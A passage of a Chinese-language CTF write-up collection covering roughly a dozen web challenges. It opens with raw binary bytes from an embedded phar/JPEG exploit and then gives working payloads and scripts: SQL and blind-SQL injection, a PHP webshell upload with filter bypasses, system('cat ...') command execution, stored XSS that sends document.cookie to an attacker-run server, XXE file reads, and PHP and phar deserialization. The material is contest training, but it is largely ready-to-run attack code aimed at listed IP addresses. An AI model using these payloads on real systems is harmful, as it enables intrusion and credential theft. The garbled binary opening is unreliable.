0fA\x0f^\x0fz\x0f\x96\x0f\xb3\x0f\xcf\x0f\xec\x10\x09\x10&\x10C\x10a\x10~\x10\x9b\x10\xb9\x10\xd7\x10\xf5\x11\x13\x111\x11O\x11m\x11\x8c\x11\xaa\x11\xc9\x11\xe8\x12\x07\x12&\x12E\x12d\x12\x84\x12\xa3\x12\xc3\x12\xe3\x13\x03\x13\x23\x13C\x13c\x13\x83\x13\xa4\x13\xc5\x13\xe5\x14\x06\x14'\x14I\x14j\x14\x8b\x14\xad\x14\xce\x14\xf0\x15\x12\x154\x15V\x15x\x15\x9b\x15\xbd\x15\xe0\x16\x03\x16&\x16I\x16l\x16\x8f\x16\xb2\x16\xd6\x16\xfa\x17\x1d\x17A\x17e\x17\x89\x17\xae\x17\xd2\x17\xf7\x18\x1b\x18@\x18e\x18\x8a\x18\xaf\x18\xd5\x18\xfa\x19 \x19E\x19k\x19\x91\x19\xb7\x19\xdd\x1a\x04\x1a*\x1aQ\x1aw\x1a\x9e\x1a\xc5\x1a\xec\x1b\x14\x1b;\x1bc\x1b\x8a\x1b\xb2\x1b\xda\x1c\x02\x1c*\x1cR\x1c{\x1c\xa3\x1c\xcc\x1c\xf5\x1d\x1e\x1dG\x1dp\x1d\x99\x1d\xc3\x1d\xec\x1e\x16\x1e@\x1ej\x1e\x94\x1e\xbe\x1e\xe9\x1f\x13\x1f>\x1fi\x1f\x94\x1f\xbf\x1f\xea \x15 A l \x98 \xc4 \xf0!\x1c!H!u!\xa1!\xce!\xfb\"'\"U\"\x82\"\xaf\"\xdd\x23\n\x238\x23f\x23\x94\x23\xc2\x23\xf0\x24\x1f\x24M\x24|\x24\xab\x24\xda%\x09%8%h%\x97%\xc7%\xf7&'&W&\x87&\xb7&\xe8'\x18'I'z'\xab'\xdc(\r(?(q(\xa2(\xd4)\x06)8)k)\x9d)\xd0*\x02*5*h*\x9b*\xcf+\x02+6+i+\x9d+\xd1,\x05,9,n,\xa2,\xd7-\x0c-A-v-\xab-\xe1.\x16.L.\x82.\xb7.\xee/\x24/Z/\x91/\xc7/\xfe050l0\xa40\xdb1\x121J1\x821\xba1\xf22*2c2\x9b2\xd43\r3F3\x7f3\xb83\xf14+4e4\x9e4\xd85\x135M5\x875\xc25\xfd676r6\xae6\xe97\x247`7\x9c7\xd78\x148P8\x8c8\xc89\x059B9\x7f9\xbc9\xf9:6:t:\xb2:\xef;-;k;\xaa;\xe8<'<e<\xa4<\xe3=\"=a=\xa1=\xe0> >`>\xa0>\xe0?!?a?\xa2?\xe2@\x23@d@\xa6@\xe7A)AjA\xacA\xeeB0BrB\xb5B\xf7C:C}C\xc0D\x03DGD\x8aD\xceE\x12EUE\x9aE\xdeF\"FgF\xabF\xf0G5G{G\xc0H\x05HKH\x91H\xd7I\x1dIcI\xa9I\xf0J7J}J\xc4K\x0cKSK\x9aK\xe2L*LrL\xbaM\x02MJM\x93M\xdcN%NnN\xb7O\x00OIO\x93O\xddP'PqP\xbbQ\x06QPQ\x9bQ\xe6R1R|R\xc7S\x13S_S\xaaS\xf6TBT\x8fT\xdbU(UuU\xc2V\x0fV\\V\xa9V\xf7WDW\x92W\xe0X/X}X\xcbY\x1aYiY\xb8Z\x07ZVZ\xa6Z\xf5[E[\x95[\xe5\\5\\\x86\\\xd6]']x]\xc9^\x1a^l^\xbd_\x0f_a_\xb3`\x05`W`\xaa`\xfcaOa\xa2a\xf5bIb\x9cb\xf0cCc\x97c\xebd@d\x94d\xe9e=e\x92e\xe7f=f\x92f\xe8g=g\x93g\xe9h?h\x96h\xeciCi\x9ai\xf1jHj\x9fj\xf7kOk\xa7k\xfflWl\xafm\x08m`m\xb9n\x12nkn\xc4o\x1eoxo\xd1p+p\x86p\xe0q:q\x95q\xf0rKr\xa6s\x01s]s\xb8t\x14tpt\xccu(u\x85u\xe1v>v\x9bv\xf8wVw\xb3x\x11xnx\xccy*y\x89y\xe7zFz\xa5{\x04{c{\xc2|!|\x81|\xe1}A}\xa1~\x01~b~\xc2\x7f\x23\x7f\x84\x7f\xe5\x80G\x80\xa8\x81\n\x81k\x81\xcd\x820\x82\x92\x82\xf4\x83W\x83\xba\x84\x1d\x84\x80\x84\xe3\x85G\x85\xab\x86\x0e\x86r\x86\xd7\x87;\x87\x9f\x88\x04\x88i\x88\xce\x893\x89\x99\x89\xfe\x8ad\x8a\xca\x8b0\x8b\x96\x8b\xfc\x8cc\x8c\xca\x8d1\x8d\x98\x8d\xff\x8ef\x8e\xce\x8f6\x8f\x9e\x90\x06\x90n\x90\xd6\x91?\x91\xa8\x92\x11\x92z\x92\xe3\x93M\x93\xb6\x94 \x94\x8a\x94\xf4\x95_\x95\xc9\x964\x96\x9f\x97\n\x97u\x97\xe0\x98L\x98\xb8\x99\x24\x99\x90\x99\xfc\x9ah\x9a\xd5\x9bB\x9b\xaf\x9c\x1c\x9c\x89\x9c\xf7\x9dd\x9d\xd2\x9e@\x9e\xae\x9f\x1d\x9f\x8b\x9f\xfa\xa0i\xa0\xd8\xa1G\xa1\xb6\xa2&\xa2\x96\xa3\x06\xa3v\xa3\xe6\xa4V\xa4\xc7\xa58\xa5\xa9\xa6\x1a\xa6\x8b\xa6\xfd\xa7n\xa7\xe0\xa8R\xa8\xc4\xa97\xa9\xa9\xaa\x1c\xaa\x8f\xab\x02\xabu\xab\xe9\xac\\\xac\xd0\xadD\xad\xb8\xae-\xae\xa1\xaf\x16\xaf\x8b\xb0\x00\xb0u\xb0\xea\xb1`\xb1\xd6\xb2K\xb2\xc2\xb38\xb3\xae\xb4%\xb4\x9c\xb5\x13\xb5\x8a\xb6\x01\xb6y\xb6\xf0\xb7h\xb7\xe0\xb8Y\xb8\xd1\xb9J\xb9\xc2\xba;\xba\xb5\xbb.\xbb\xa7\xbc!\xbc\x9b\xbd\x15\xbd\x8f\xbe\n\xbe\x84\xbe\xff\xbfz\xbf\xf5\xc0p\xc0\xec\xc1g\xc1\xe3\xc2_\xc2\xdb\xc3X\xc3\xd4\xc4Q\xc4\xce\xc5K\xc5\xc8\xc6F\xc6\xc3\xc7A\xc7\xbf\xc8=\xc8\xbc\xc9:\xc9\xb9\xca8\xca\xb7\xcb6\xcb\xb6\xcc5\xcc\xb5\xcd5\xcd\xb5\xce6\xce\xb6\xcf7\xcf\xb8\xd09\xd0\xba\xd1<\xd1\xbe\xd2?\xd2\xc1\xd3D\xd3\xc6\xd4I\xd4\xcb\xd5N\xd5\xd1\xd6U\xd6\xd8\xd7\\\xd7\xe0\xd8d\xd8\xe8\xd9l\xd9\xf1\xdav\xda\xfb\xdb\x80\xdc\x05\xdc\x8a\xdd\x10\xdd\x96\xde\x1c\xde\xa2\xdf)\xdf\xaf\xe06\xe0\xbd\xe1D\xe1\xcc\xe2S\xe2\xdb\xe3c\xe3\xeb\xe4s\xe4\xfc\xe5\x84\xe6\r\xe6\x96\xe7\x1f\xe7\xa9\xe82\xe8\xbc\xe9F\xe9\xd0\xea[\xea\xe5\xebp\xeb\xfb\xec\x86\xed\x11\xed\x9c\xee(\xee\xb4\xef@\xef\xcc\xf0X\xf0\xe5\xf1r\xf1\xff\xf2\x8c\xf3\x19\xf3\xa7\xf44\xf4\xc2\xf5P\xf5\xde\xf6m\xf6\xfb\xf7\x8a\xf8\x19\xf8\xa8\xf98\xf9\xc7\xfaW\xfa\xe7\xfbw\xfc\x07\xfc\x98\xfd)\xfd\xba\xfeK\xfe\xdc\xffm\xff\xffpara\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02ff\x00\x00\xf2\xa7\x00\x00\rY\x00\x00\x13\xd0\x00\x00\n[vcgt\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00ndin\x00\x00\x00\x00\x00\x00\x006\x00\x00\xae\x00\x00\x00R\x00\x00\x00C\xc0\x00\x00\xb0\xc0\x00\x00&@\x00\x00\r\x80\x00\x00P\x00\x00\x00T@\x00\x0233\x00\x0233\x00\x0233\x00\x00\x00\x00\x00\x00\x00\x00sf32\x00\x00\x00\x00\x00\x01\x0cr\x00\x00\x05\xf8\xff\xff\xf3\x1d\x00\x00\x07\xba\x00\x00\xfdr\xff\xff\xfb\x9d\xff\xff\xfd\xa4\x00\x00\x03\xd9\x00\x00\xc0qmmod\x00\x00\x00\x00\x00\x00\x06\x10\x00\x00\xa0@\x00\x00\x00\x00\xd5\x18d\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xc0\x00\x11\x08\x00\x0c\x00\x0c\x03\x01\"\x00\x02\x11\x01\x03\x11\x01\xff\xc4\x00\x1f\x00\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\xff\xc4\x00\xb5\x10\x00\x02\x01\x03\x03\x02\x04\x03\x05\x05\x04\x04\x00\x00\x01}\x01\x02\x03\x00\x04\x11\x05\x12!1A\x06\x13Qa\x07\"q\x142\x81\x91\xa1\x08\x23B\xb1\xc1\x15R\xd1\xf0\x243br\x82\x09\n\x16\x17\x18\x19\x1a%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz\x83\x84\x85\x86\x87\x88\x89\x8a\x92\x93\x94\x95\x96\x97\x98\x99\x9a\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xff\xc4\x00\x1f\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\xff\xc4\x00\xb5\x11\x00\x02\x01\x02\x04\x04\x03\x04\x07\x05\x04\x04\x00\x01\x02w\x00\x01\x02\x03\x11\x04\x05!1\x06\x12AQ\x07aq\x13\"2\x81\x08\x14B\x91\xa1\xb1\xc1\x09\x233R\xf0\x15br\xd1\n\x16\x244\xe1%\xf1\x17\x18\x19\x1a&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x92\x93\x94\x95\x96\x97\x98\x99\x9a\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xff\xdb\x00C\x00\x02\x02\x02\x02\x02\x02\x03\x02\x02\x03\x05\x03\x03\x03\x05\x06\x05\x05\x05\x05\x06\x08\x06\x06\x06\x06\x06\x08\n\x08\x08\x08\x08\x08\x08\n\n\n\n\n\n\n\n\x0c\x0c\x0c\x0c\x0c\x0c\x0e\x0e\x0e\x0e\x0e\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\xff\xdb\x00C\x01\x02\x02\x02\x04\x04\x04\x07\x04\x04\x07\x10\x0b\x09\x0b\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\xff\xdd\x00\x04\x00\x01\xff\xda\x00\x0c\x03\x01\x00\x02\x11\x03\x11\x00?\x00\xfc\x93\xa2\x8a(4?\xff\xd9<?php __HALT_COMPILER(); ?>\r\n\xbd\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x00\x87\x00\x00\x00O:7:\"Picture\":3:{s:7:\"sandbox\";s:2:\"||\";s:8:\"fileName\";s:46:\"/readflag > /var/www/html/picture/here_is_flag\";s:9:\"extension\";s:2:\"||\";}\x08\x00\x00\x00test.txt\x04\x00\x00\x00\x06\x88\xc9\\\x04\x00\x00\x00\x0c~\x7f\xd8\xb6\x01\x00\x00\x00\x00\x00\x00test\xa8t\x9ci\xfc\x91\xc1yY\x94?\xa6\xe6\x91\xce\x1a\x83mhE\x02\x00\x00\x00GBMB", 'image/jpeg'))]
headers = {"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Referer":"http://47.106.182.92:8233/index.php","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
response = session.post(ip + "upload.php", files=paramsMultipart, headers=headers)content = json.loads(response.content)
orgin_url = content['success']['orgin']paramsMultipart = [['picture', ['exp.svg', "<?xml version=\"1.0\" standalone=\"no\"?>\n<!DOCTYPE svg SYSTEM \"phar://./%s\">\n<svg version=\"1.0\" xmlns=\"http://www.w3.org/2000/svg\"\n width=\"1.600000pt\" height=\"3.200000pt\" viewBox=\"0 0 1.600000 3.200000\"\n preserveAspectRatio=\"xMidYMid meet\">\n<metadata>\nCreated by potrace 1.13, written by Peter Selinger 2001-2015\n</metadata>\n<g transform=\"translate(0.000000,3.200000) scale(0.080000,-0.080000)\"\nfill=\"\x23000000\" stroke=\"none\">\n</g>\n</svg>", 'application/octet-stream']]]paramsMultipart[0][1][1] = paramsMultipart[0][1][1] % orgin_url
#print(paramsMultipart[0][1][1])
response = session.post(ip + "upload.php", files=paramsMultipart, headers=headers)print requests.get(ip + "/picture/here_is_flag").content
12、Babysql
题目描述:成信大的学生真是不得了,这么多黑客,不过这次我做了防御的!
这题和前面第五题差不多,就是过滤了or和by双写就能绕过
13、神秘的三叶草
题目描述:柳暗花明
打开网址F12查看,发现氛围两个字有一个a标签,链接到Secret.php文件
直接访问
抓包,在里面加上referer:https://www.Sycsecret.com
转发之后得到
在原来添加了referer字段之后,再把UA头改为Syclover
转发得到
在前面两步的基础上加上x-forwarded-for:127.0.0.1,转发得到flag
14、Eval evil code
题目描述:Lamber是个老实人,他会执行你给他的代码。
题解:参考官方题解
打开题目网址,有两个输入框,上面那个是你要它执行的代码,下面那个验证码,然后验证码经过md5加密后的前四位已经给你了
先给出我跑验证码的脚本,这里四位都是数字的肯定能跑出来,其他的基本跑不出,不过下面有官方的脚本
import hashlib,sys
def getMD5(Cap):for x in range(100000,1000000):captcha=xMD5=hashlib.md5(str(captcha)).hexdigest()if MD5[:4] == Cap:return captcha
print getMD5('四位数字')
这里我先是输入了phpinfo();,记住这个后面的分号好一定要带上,发现能成功执行
然后执行系统命令,发现提示,不能执行带参的函数,这里我以为只要括号里有东西就不行,就不会了
下面给出官方思路
payload=readfile(next(array_reverse(scandir(getcwd())))); //读取倒数第二个文件,记得带上分号
# -*- coding: UTF-8 -*-
import requests
import hashlib
import re
import random
import sys
url='http://148.70.59.198:34386/index.php?a=system("cat theflag.php");'
headers={ 'Content-Type': 'application/x-www-form-urlencoded','Cookie':'PHPSESSID=1a0ab8abc64974479646b48938cda2e4' }
def getCap():res=requests.get(url=url,headers=headers).textr=re.search("substr\(md5\(\$captcha\),0,4\) =='(.*?)'",res)c=r.group(1)md5_value=''x=''while c!=md5_value:x=str(random.random())md5_value=hashlib.md5(x.encode("utf-8")).hexdigest()[:4]return x
def test(poc,cap):data='payload={}&code={}'.format(poc,cap)res=requests.post(url=url,headers=headers,data=data).textreturn res
a=test('eval(end(pos(get_defined_vars())));',getCap())
print(a[:500])
3、
ayrain: system(' cat theflag.php ');
payload=eval(end(getallheaders()));
15、Jiang‘s Secret
题目描述:我在那放了一个秘密!
这题可以F12查看源码,这里介绍一个骚方法,直接ctrl+A全选,发现多了个Oh!You found me,点击之后跳到Archive_room.php界面
点击Secret之后直接跳到end.php,提示:没看清么?回去再仔细看看吧。
返回去,F12查看源码,发现Secret的a标签链接的是action.php,直接访问然后抓包,放到repeater模块发送一下得到一个文件名
访问一下,得到源码
<html><title>secret</title><meta charset="UTF-8">
<?phphighlight_file(__FILE__);error_reporting(0);$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file);
//flag放在了flag.php里
?>
</html>
这里过滤了一些东西,但是可以直接使用php://fiter伪协议读取文件,payload
file=php://filter/convert.base64-encode/resource=flag.php
16、Hardsql
题目描述:信安之路,任重道远…
hint:sql报错注入
sql报错注入,这里过滤了空格,使用括号绕过;过滤了and,使用or代替,后面语句where条件只用一个;过滤了等于号,使用like绕过
http://118.25.14.40:8103/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(database())),%27~%27),3))%23&password=123 #爆数据库名 geek
http://118.25.14.40:8103/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),%27~%27),3))%23&password=123 #爆表名 H4rDsq1
http://118.25.14.40:8103/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),%27~%27),3))%23&password=123 #爆字段 id,username,password
http://118.25.14.40:8103/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(group_concat(password))from(H4rDsq1)),%27~%27),3))%23&password=123 #得到flag
更:
做buuoj的时候这里会出现flag不全的问题,这是因为updatexml爆出信息有长度限制32位,这时候可以用substr来截断,但是这里被过滤了,这里可以使用right函数,函数作用就是从右往左截取length个字符,后面那个34可以自己调控,没出来就改这个数字,多试试
admin'or(updatexml(1,right(concat(%27~%27,(select(group_concat(password))from(H4rDsq1)),%27~%27),34),3))%23
17、你有特洛伊么
题目描述:dGhpcyBpcyBub3QgZWFzeQ==
打开题目网址,发现上传按钮
直接上传一个php一句话,会提示"not image!"
上面检测的是content-type类型,将其改为image/jpeg可绕过
这个上面检测的是php后缀名,将其改为phtml,成功绕过
上面这个过滤的很明显,不能出现"<?",那就换个一句话<script language="php">eval($_GET['x']);</script>实行绕过
最后这个过滤是检查文件头,在内容前面加上GIF89,就可以上传成功
但是这里只告诉了文件名,没有告诉路径,盲猜在文件夹upload下,最后访问页面测试一下
http://118.25.14.40:8107/upload/shell.phtml?x=phpinfo();
测试成功,可以菜刀连接,也可以直接执行系统命令,得到flag
http://118.25.14.40:8107/upload/shell.phtml?x=system(%22cat%20/flag/flag.txt%22);
这里分享一下骚操作,就是直接访问upload文件夹,去跑别人的马,就算没跑出来,也可以获得一些做题方法
18、Leixiao's blog
题目描述:你会盗号吗??
hint:储存型XSS && 认真测试各个功能点(怀疑机器人挂了的Q我)
题解:官方说xss点在忘记密码那里
先随便注册一个账号,mmmmm/mmmmm,然后密保问题是test,当我们填写完会发现它被写入网页的位置,就可以闭合标签
这里提供一下官方的思路,先在自己的公网服务器上新建一个x.js的文件,里面写入
window.location='http://你的公网服务器/cookie='+document.cookie;
然后注册的时候把密保问题改为下面这个,记住不是答案,是问题
"></script/src=//你的公网服务器ip地址/x.js>
官方说这里好像填10进制的ip机器人不解析,得换成16进制
然后触发xss的点是在登陆之后的report模块里,将忘记密码的网址填进去
查看日志即可获取cookie
然后刷新网页,抓包,更改cookie,即可获取flag
在这里非常感谢淚笑师傅的指导!!!
19、反序列化1.0
题目描述:socre10000拿到flag
打开题目,F12得到关键代码
<!--
class Student
{public $score = 0;public function __destruct(){echo "__destruct working";if($this->score==10000) {$flag = "******************";echo $flag;}}
}
$exp = $_GET['exp'];
echo "<br>";
unserialize($exp);?>
直接构造payload:
<?phpclass Student{public $score = 0;public function __destruct(){echo "__destruct working";if($this->score==10000) {$flag = "******************";echo $flag;}}}$o=new Student;$o->score=10000;echo serialize($o);
?>//打印O:7:"Student":1:{s:5:"score";i:10000;}?exp=O:7:"Student":1:{s:5:"score";i:10000;}
拿到flag
20、又来一只猫
题目描述:我家猫名字叫php
打开网址,发现提示信息,有备份网站的习惯,直接访问http://118.25.14.40:8109/www.zip得到源码
发现几个关键的文件:index.php、class.php、flag.php
flag.php里面的flag是假的,查看index.php和class.php,发现关键代码
//index.php
<?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);
?>//class.php
<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>
这里介绍一下__wakeup,它是一个魔术方法,会在反序列化时调用,但是可以被绕过
O:7:"Student":1:{s:5:"score";i:10000;} //正规的
O:7:"Student":2:{s:5:"score";i:10000;} //修改之后的
Sudent后面那个数字代表类中的成员个数,修改成一个比原来大的数字,就可以绕过
最后构造的payload,拿到flag
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}这里加的%00Name%00代表的是成员是private
protected加的是%00*name%00
21、你有初恋吗
题目描述:你变心了吗
打开题目网址,F12得到源码
关键代码
<!--
$adore='***************';
$now = $_POST['lover'];
setcookie("Heart", md5($adore.'syclover'));
if(isset($now)&&$now!=syclover) {if($_COOKIE['Heart'] === md5($adore. urldecode($now))){die ($flag);}else {die('I do not love you! You are not in my heart!');}}
-->
这里使用二次编码就能绕过,但是官方题解是说想考hash长度扩展攻击,我最后构造的payload
post:lover=%25%37%33%25%37%39%25%36%33%25%36%43%25%36%46%25%37%36%25%36%35%25%37%32
22、Finalsql
题目描述:sql你太美:
打开网址,提示信息是sql盲注,这里的sql注入存在于上面的链接中
id=1时:页面内容是NO! Not this! Click others~~~
id=2时:页面内容是yingyingying~ Not this as well~~
id=3时:页面内容是很多的Ohhh You find the flag read on!
id=4时:页面内容是OK OK I will tell you,just in the next! really~~~~
id=5时:页面内容是
You are too naive!How can I give it to you? So,why not take a look at the sixth one?But where is it?
id=6时:Clever! But not this table.
id=其他内容时:显示ERROR!!!
访问之后,这里利用的是id后面的参数可以做减法来注入,php作比较时返回的值要么是1,要么是0,所以可以通过判断页面是否发生改变来判断语句的真假,拿id=2这个页面来演示
这里先介绍一下盲注常用的几个函数
strcmp(a,b) #a和b相等时会返回0,a>b会返回-1,a<b返回1
ascii(),ord() #函数返回字符串的首个字符的 ASCII 值
截断字符串使用的几个函数
substr(str,start,len) #从字符串的start下标开始,截取len个字符
left(str,len) #从左往右截取len个字符
right(str,len) #从右往左截取len个字符
url:http://118.25.14.40:8104/search.php?id=2-(strcmp(database(),%27geek%27))
页面无变化说明数据库名就是geek,后面脚本中i的范围也可以通过这样来确定,当然也可以设置很长,能读出来都行
接下来就是跑表,脚本代码,the table_name is :F1naI1y,Flaaaaag
import sys
import requeststable_name=''
url="http://118.25.14.40:8104/search.php?id=2"
payload1="-(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),"
payload2=",1))>"
payload3=")"for i in range(1,20):max=122 #zmin=43 #+ 44 ,while abs(max-min)>1: mid=int((max+min)/2)payload=url+payload1+str(i)+payload2+str(mid)+payload3#print payloadresponse=requests.get(payload)if response.content.find("others")!=-1:min=midelse:max=midtable_name=table_name+chr(max)print("the table_name is :%s" % table_name)
字段名,根据前面的题目可以猜测出是id,username,password,下面只给出password的验证代码,其余的可以自己改
import requests
url="http://118.25.14.40:8104/search.php?id=2"
payload1="-(ascii(substr((select(group_concat(column_name))"
payload2="from(information_schema.columns)where(table_name)=%27F1naI1y%27),"
payload3=",1))="
payload4=")"
a=[112,97,115,115,119,111,114,100] #password
j=13 #password的起始位置
for i in range(len(a)):payload=url+payload1+payload2+str(j)+payload3+str(a[i])+payload4r=requests.get(payload)j+=1if "others" not in r.text:print payloadprint r.textelse:print "success"
下面给出跑字段的脚本
import sys
import requestscolumn_name=''
url="http://118.25.14.40:8104/search.php?id=2"
payload1="-(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y'),"
payload2=",1))>"
payload3=")"for i in range(1,30):max=122 #zmin=43 #+ 44 ,while abs(max-min)>1: mid=int((max+min)/2)payload=url+payload1+str(i)+payload2+str(mid)+payload3#print payloadresponse=requests.get(payload)if response.content.find("others")!=-1:min=midelse:max=midcolumn_name=column_name+chr(max)print("the column_name is :%s" % column_name)
最后跑username和password字段的内容,最终在password中得到flag
import sys
import requestsusername=''
url="http://118.25.14.40:8104/search.php?id=2"
payload1="-(ascii(substr((select(group_concat(username))from(F1naI1y)),"
payload2=",1))>"
payload3=")"for i in range(1,51):max=122 #zmin=43 #+ 44 ,while abs(max-min)>1: mid=int((max+min)/2)payload=url+payload1+str(i)+payload2+str(mid)+payload3#print payloadresponse=requests.get(payload)if response.content.find("others")!=-1:min=midelse:max=midusername=username+chr(max)print("the username is :%s" % username)password=''
url="http://118.25.14.40:8104/search.php?id=2"
payload1="-(ascii(substr((select(group_concat(password))from(F1naI1y)),"
payload2=",1))>"
payload3=")"for i in range(1,195):max=125 #}min=43 #+ 44 ,while abs(max-min)>1: mid=int((max+min)/2)payload=url+payload1+str(i)+payload2+str(mid)+payload3#print payloadresponse=requests.get(payload)if response.content.find("others")!=-1:min=midelse:max=midpassword=password+chr(max)print("the password is :%s" % password)
23、你读懂潇文清的网站了吗
题目描述:xxe
参考官方题解:
1、输入框存在xxe,读源码,然后依次找到config.php upload.php等。找到文件名这里个人想法御剑扫描一下也行,因为不是能特别明确的能看到upload.php
<?xml version = "1.0"?>
<!DOCTYPE note [<!ENTITY hacker SYSTEM "php://filter/read=convert.base64-encode/resource=./index.php"> ]> <name>&hacker;</name>
上面是官方的wp,具体的步骤:
(1)现在输入框随便输入什么东西,抓包,发送,没什么变化
(2)xxe注入点就在123那里,在前面加个Content-Type:text/xml,然后再加上payload,即可读取index.php文件内容
//index.php
<?php
error_reporting(0);
include("./config.php");
date_default_timezone_set("PRC");if(!empty($_POST['submit'])){
$data= $_POST['data'];
if (preg_match("/flag|decode|file|zlib|input|data|http|ftp|#/i",$data)){echo "no!!!you cant read flag right here!";exit();
}$xml = simplexml_load_string($data,'SimpleXMLElement',LIBXML_NOENT);print($xml);
}?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Login</title><link href="./style_log.css" rel="stylesheet" type="text/css"><link rel="stylesheet" type="text/css" href="./style.css"><link rel="stylesheet" type="text/css" href="./userpanel.css"></head><body class="login" mycollectionplug="bind">
<div class="login_m"><div class="login_logo"><img src="http://120.79.186.183/jpg/677406.jpg" width="216" height="130"></div><div class="login_boder"><div class="login_padding" id="login_model"><div style="text-align:center; vertical-align:middel;"><h3>告诉我你想说的</h3></div>
<form action="./index.php" method="post" enctype="multipart/form-data" type="code" name="code" id="code" class="txt_input" onfocus="if (value =='******'){value =''}" onblur="if (value ==''){value='******'}">
<div style="text-align:center; vertical-align:middel;">
<textarea type="text" id='divcss5' name="data">
(3)读取config.php文件内容
//config.php
<?php
class File{public $filetype;public $filename;public function __wakeup(){echo "wake up ";var_dump(readfile("php://filter/read=convert.base64-encode/resource=flag.php"));}public function check($filetype,$filename){$filename = $filename;$filetype = $filetype;if (($filetype!="image/jpg")&&(substr($filename, strrpos($filename, '.')+1))!= 'jpg') {echo "只允许上传jpg格式文件";exit();}}public function upload($filetemp){$target_file = getcwd()."/uploads/".md5($filetemp+$_SERVER['HTTP_REFERER']).".jpg";$handle = fopen($filetemp, "r");$content = '';while(!feof($handle)){$content .= fread($handle, 8080);}
if (preg_match("/xml|#|SYSTEM|DOCTYPE|fliter|uploads|www/i",$content)){echo "Invalid file!!!!";
exit();
}fclose($handle);if (move_uploaded_file($filetemp, $target_file)) {echo "your file is here:".$target_file;}}}
(4)读取upload.php文件内容
//upload.php
<!DOCTYPE html>
<html>
<head><title>Ayrain</title>
</head>
<body>
<h3>上传一个文件,让我康康你这是什么乱七八糟的东西。</h3>
<form action="./upload.php" method="post" enctype="multipart/form-data" type="code" name="code" id="code" class="txt_input" onfocus="if (value =='******'){value =''}" onblur="if (value ==''){value='******'}"><input type="file" name="file" /><input type="submit" name="Check" />
</form></body>
</html>
<?php
error_reporting(0);
include("config.php");$filename = $_FILES["file"]["name"];$filetype = $_FILES["file"]["type"];$filetemp = $_FILES["file"]["tmp_name"];$file = new File();$file->check($filetype,$filename);$file->upload($filetemp);
?>
2、通读源码发现获得flag的点在config.php的File类的wake_up构造方法里,利用上传点,上传可以触发wake_up的phar文件,结合之前的xxe,读取phar文件进行触发。
生成phar文件,把下面代码保存到自己的服务器下面,直接访问会报错,需要先将php.ini的phar.readonly选项改为Off,还有把前面的分号注释符去掉,重启服务器,然后访问,会发现在当前目录生成了一个phar.phar的文件
<?php class File{ public function __wakeup(){ echo "wake up "; } } $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new File(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();
?>
